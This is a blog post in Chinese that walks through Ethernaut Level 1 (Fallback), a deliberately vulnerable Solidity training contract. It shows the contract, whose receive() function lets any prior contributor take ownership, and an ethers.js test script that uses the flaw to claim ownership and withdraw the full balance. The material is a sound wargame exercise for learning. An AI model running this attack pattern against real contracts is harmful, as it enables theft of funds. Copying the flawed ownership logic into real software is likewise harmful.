DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 1 (Fallback)

LEVEL 1 (Fallback):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

1.owner设为player
2.合约的余额变为0

要点

熟悉合约调用和转账

解题思路

这关主要就是熟悉下web3如何调用写好的合约,故意的逻辑漏洞。
只要用js交互即可
1.先调用contribute()
2.再调用转余额
3.只调用withdraw()

test/01Fallback.js

  it("attacks", async function () {
    //调用合约的contribute方法
    await levelContract.connect(player).contribute({
      value: ethers.utils.parseEther("0.0001"),
    });
    //转账触发receive(),修改owner
    await player.sendTransaction({
      to: levelContract.address,
      value: ethers.utils.parseEther("0.0001"),
    });
    //取掉所有的余额
    await levelContract.connect(player).withdraw();
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)